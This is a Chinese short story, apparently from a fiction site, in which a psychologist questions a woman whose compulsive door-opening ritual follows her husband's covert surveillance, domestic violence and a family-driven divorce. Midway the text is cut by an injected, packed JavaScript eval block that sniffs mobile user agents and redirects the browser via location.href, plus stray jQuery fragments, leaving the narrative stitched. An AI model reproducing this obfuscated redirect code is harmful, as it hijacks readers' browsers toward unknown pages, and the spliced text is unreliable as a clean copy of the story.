门被打开，又被关上，又被打开，又被关上……
不堪忍受的门发出了“嘎吱嘎吱”痛苦的抗议声，来来回回像一个心烦意乱的人在原地踱步。
可她的目光是凝滞茫然的，手像被某种固定程序操控，一次次推开，又一次次合上。
“一、二、三……”
空洞的声调平铺直叙得像机械发出的声音。
当数到第十五次时，她的肩膀突然松了下来，整个人像是被抽走了浑身的力气。
终于，这场荒诞的“仪式”结束了。
就像一台卡了程序不断报错的机器人终于被修复了。
她拖着沉重的步伐，缓缓走到房间前。
这无意义又无法自控的重复动作，让她疲惫不堪。
又是一扇门。
再一次，她又开始了这如着了魔的反复动作。
“……十四，十五。”
刹那间，一种难以言喻的痛苦如针般刺痛了她的心，她只觉眼眶发酸，泪水在眼眶里打转，几乎要夺眶而出。
门，像是一道无法逾越的鸿沟。
横跨着两种不同的力量，相互拉扯，相互争斗，相互撕裂……
她像被堵在这股力量当中，又像被压在夹缝里，消耗，痛苦，抑郁。
“这个症状是从什么时候开始的？”我打量着眼前无比沮丧的女子。
她弯着脖颈，苍白柔弱，像一朵被风雨摧残后的荷花，无精打采，垂头丧气。
面前坐着的这个女子叫张芝芸，31岁，最近得了一种叫作开关门强迫行为的怪症。
“我要疯了。”她抓着手袋，有气无力地说。
一个最寻常的，简单的动作，却让她变得怪异疯魔。
指尖碰到门那一刻，她要把门开开合合，一直数到十五才能停止下来。
仿佛只有这样，才能得到某种未知的“许可”，才能走进家里和房间。
为了少受点罪，她只能尽量减少进出房间的次数。
晚上睡前不敢喝太多的水，担心起夜时，又会重复做同样的动作。
如果半夜又这么来回一趟，睡意便会全无，这会让她更加崩溃。
门，像一个神秘力量的幽灵，潜伏在她的世界里，像要困住她，又像要遗弃她。
“我是不是快要变成个神经病了？”她的眼睛满是灰心失意。
“强迫症在心理学上不算太稀奇，很多人都有某种强迫行为。”
比如刚刚关好门窗，还在反复怀疑是否真的已经关好，于是反复检查，比如刚刚洗完手，却总觉得洗不干净，于是反复洗手。
“强迫症的根源通常是过度焦虑。”
为了减轻这种焦虑的困扰，于是会进行重复性和刻板的动作以缓解焦虑的心情，但又会陷入新的一轮焦虑当中。
“好累。”她的声音低低的。
“嗯，因为有两种不同的声音在打架，一个明知没必要，一个非要这么做。”
她点点头，弯得更低显得更无助。
“可是你刚进来的时候，并没有出现这样的情况，你是对某种特定的门才会这样吗？”
比如材质、颜色或某种样式。
“电梯门会按来按去吗？”
她摇摇头。
“那你碰到什么样的门才会有这种症状？”
“家里的。”声音弱弱的。
“什么时候开始的？”我再一次问这个问题。
“十几天前吧。”
“那时发生了什么事吗？”我觉得自己像个警察。
“没什么事，我只是搬回了娘家。”
“你为什么搬回娘家？”一问才得一答。
她的脸终于抬起来，看了我一眼，迟疑道：“这有关系吗？”
“可能有。”
她又迟疑了一会：“我和丈夫郑凯东正在办理离婚。”
“可以谈谈你们为什么离婚？”
她有些烦躁，将手袋的拉链拉来拉去。
十五次，停了下来。
“结婚是人生大事，离婚同样也是人生大事，它在生活、情感以及自我认知层面都会给我们造成重大的影响，你似乎很不想谈论它，为什么？这让你感到烦恼吗？”
她抬头望了我一眼，又转向别处。
“谁离婚都会痛苦烦恼吧，但和这个有什么关系。”她低低地咕哝着。
“离婚是谁提出的？你还是他？”
她眼睛望着别处，有一种很沮丧的感觉。
“都不是。”
这是一场很奇怪的离婚。
要求离婚的不是双方当事人，而是张芝芸的家里人。
起因是表姐撞破了一件啼笑皆非的突发事件。
本是一个阳光懒洋洋的午后。张芝芸心情很好，因为她白得了一个半天的假期。
刚从单位的小路走入主道，便被一个熟悉的声音叫住。
“芝芝，这么巧的？你今天不用上班？”表姐和男友牵着手在路边，瞪大眼睛惊喜地叫住她。
“单位停电了。”
张芝芸指了指路边的工程队羞涩地笑了笑。
“哈！这样都能碰上，咱俩不愧是姐妹，你现在准备回家吗？”
表姐兴高采烈。
张芝芸点点头，打算早点回去炖个乌鸡汤。
“哎哟喂，我都表现得这么明显了，你不会还不邀请我去你家坐坐吧？”
张芝芸顿了顿，有些不好意思：“怎么会，只是觉得家里有点乱。”
表姐走过来挽住她的手：“说起来都过了这么久，我才去过你家一次。怎么觉得自打你结婚以后，跟我越来越疏远了。”
她语气有些埋怨。
表姐跟她其实跟亲姐妹一样，打小住同一个社区，年龄相差不大，从小就形影不离，好得就跟一个人似的。
“要不人家说嫁出去的女儿泼出去的水，你现在跟我都不好了。”
张芝芸本想找个什么理由婉拒，可话到嘴边还是吞下了。
略微尴尬道：“没有啦，正想邀请你们，但你说得比我快。”
“那就走吧。”表姐高兴地揽住她：“刚好我可以开车送你，这服务很周到吧？”
表姐男友和张芝芸略微寒暄了一下，便开着车载着他们往家里开去。
家和单位距离不到一小时车程，很快便来到了楼下。
“你先把他领上家里，我一会买好了东西上去。”
如果那天不是这样的安排，也许她现在不一定会离婚。
“不，你别买东西上来，随便坐坐不用客气的。”
“你管呢，我买了上你家吃行了吧，你快带他上去，我一会儿就来了。”
表姐推了推她。
张芝芸向来说不过表姐，只好独
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826346|191120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自带着表姐男友上了楼。
表姐的男友不熟悉她，家族聚会只见过一两次面。
她中规中矩地泡茶洗水果，坐在一旁聊聊天，气氛倒也还算融洽。
表姐也不知道是不是在超市挑挑拣拣什么，好半天还没上来。
然而，门外突然传来开锁转动的声音。
还没等人反应过来，突然一个身影如旋风般冲了进来，二话不说，抬手就给了张芝芸一记响亮的耳光。
“你竟敢把野男人往家里带？”
两人都傻了眼，愣在了原地。
只有冲进来那个男人在吼叫：“他是谁？你怎么敢？”
男人满脸通红，一边用手指着表姐男友，像一只被占领了地盘的疯狗。
这男人叫郑凯东，是张芝芸的丈夫。
他毫无平时彬彬有礼的风度，粗暴得像山野屠夫。
表姐男友从震惊中回过神来，路见不平气愤地站起来护住张芝芸。
反身用力推了郑凯东一把。
“你干嘛打女人？”
郑凯东更愤怒了，两人瞬间扭打在一起，一个觉得自己是来捉奸的“正义使者”，一个则要教训这个打女人的“暴徒”，场面顿时混乱不堪。
拿着大包小包回来的表姐，目睹了这一幕，整个人都惊得呆立当场，嘴巴张得老大，完全说不出话来。
熄完火后坐在客厅里，弄明白原委后，郑凯东满脸通红又诚恳地向他们道了歉。
但这场意外，却无情地暴露了两个事实。
一是郑凯东偷偷装了监控在监视张芝芸的一举一动，否则解释不了半小时内冲回家的壮举；二是郑凯东这种行为肯定不是第一次，他如此理所当然的暴力行为暴露了他是一个惯犯。
表姐把她抓到房间逼问：“他这不是第一次了吧，他是不是常这样对你？”
郑凯东在客厅被表姐的男朋友看管着，张芝芸在房间支支吾吾。
表姐冷笑：“家暴有第一次便有无数次，看你这个样子就知道不是第一次。想不到郑凯东竟然是个影帝。”
表姐不由分说把她带回了娘家，召集了家庭审判会，在众目睽睽逼问之下，张芝芸不得不坦白她被郑凯东家暴的秘密，父亲气得差点要脑梗，大家然后一致要求她马上离婚。
“听起来你没有离婚的意愿。”
她低下头，声音有些迟疑：“不是，不能这样下去。”
“所以你想离吗？”
她双手紧紧抱着肩膀，非常缓慢迟疑地回答：“嗯。”
“如果开门代表离婚，关门代表保持现状。”
她抬起头看着我。
“你会选择开门还是关门。”
她嘴唇动了动，却答不出来。
“我觉得这个症状和你现在的心理状态很相似，很挣扎，很矛盾，很纠结。”
她又低下了头。
“你到底想离开还是想待在里面？”
她咬着嘴唇，似在微弱地反驳：“他们是对的，我应该离婚。”
“应该这个词，是试图说服自己的词语。”
她脸色变得苍白。
“郑凯东他……”张芝芸的指尖摸向了一旁的手袋，手袋的拉链被拉开又合上，反反复复。
金属齿牙咬合的“咔啦”声突然停了，像被掐断的叹息。
我在心里默数，果然，又是十五次。